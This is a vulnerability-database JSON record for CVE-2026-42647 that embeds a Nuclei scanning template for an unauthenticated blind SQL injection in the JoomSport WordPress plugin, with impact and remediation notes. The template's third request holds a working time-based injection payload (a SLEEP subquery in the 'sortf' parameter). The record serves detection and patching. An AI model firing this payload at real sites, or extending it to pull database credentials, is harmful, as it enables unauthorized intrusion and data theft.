{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-42647/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-42647/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-42647/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-42647/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-42647/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-42647"},"sightings":{"href":"/api/v1/sightings/cve-2026-42647"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-42647.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-42647\n\ninfo:\n  name: JoomSport <= 5.7.7 - SQL Injection\n  author: theamanrawat\n  severity: critical\n  description: |\n    The JoomSport WordPress plugin through 5.7.7 is vulnerable to unauthenticated time-based blind SQL injection via the 'sortf' GET parameter in the player list view. The parameter value is backtick-wrapped and directly concatenated into an ORDER BY clause.\n  impact: |\n    Unauthenticated attackers can extract any data from the WordPress database including admin credentials, user emails, and plugin-stored secrets via time-based blind SQL injection.\n  remediation: |\n    Update to JoomSport version 5.7.8 or later, which implements column whitelist validation.\n  reference:\n    - https://patchstack.com/database/wordpress/plugin/joomsport-sports-league-results-management/vulnerability/wordpress-joomsport-plugin-5-7-7-sql-injection-vulnerability\n    - https://plugins.trac.wordpress.org/browser/joomsport-sports-league-results-management/tags/5.7.5/sportleague/base/wordpress/classes/class-jsport-getplayers.php#L153\n    - https://plugins.trac.wordpress.org/browser/joomsport-sports-league-results-management/tags/5.7.5/sportleague/classes/objects/class-jsport-playerlist.php#L80\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-42647\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L\n    cvss-score: 9.3\n    cve-id: CVE-2026-42647\n    epss-score: 0.01323\n    epss-percentile: 0.71013\n    cwe-id: CWE-89\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: beardev\n    product: joomsport-sports-league-results-management\n    framework: wordpress\n  tags: cve,cve2026,wp,wordpress,wp-plugin,joomsport,sqli,vkev\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-sitemap-posts-joomsport_season-1.xml\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"<loc>\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: season_path\n        part: body\n        group: 1\n        regex:\n          - '<loc>[^<]*?//[^/]+(\\/[^<]+)</loc>'\n        internal: true\n\n  - raw:\n      - |\n        GET {{season_path}}?action=playerlist&sortf=post_title&sortd=ASC HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"Name\", \"Match played\", \"Played minutes\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        @timeout: 20s\n        GET {{season_path}}?action=playerlist&sortf=post_title%60,(SELECT/**/x/**/FROM/**/(SELECT/**/SLEEP(6)/**/AS/**/x)/**/AS/**/t)%23&sortd=ASC HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'duration >= 6'\n          - 'status_code == 200'\n          - 'contains_all(body, \"Name\", \"Match played\", \"Played minutes\")'\n        condition: and\n# digest: 490a00463044022033c3c44643cb7bdd13c426c9ee3ce960607d22f0b6965052db079d727b10836e022046863753c0166fa7add0ca2941a30ba1b818cb60be2941a6f2393727bf992e89:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2026-42647"}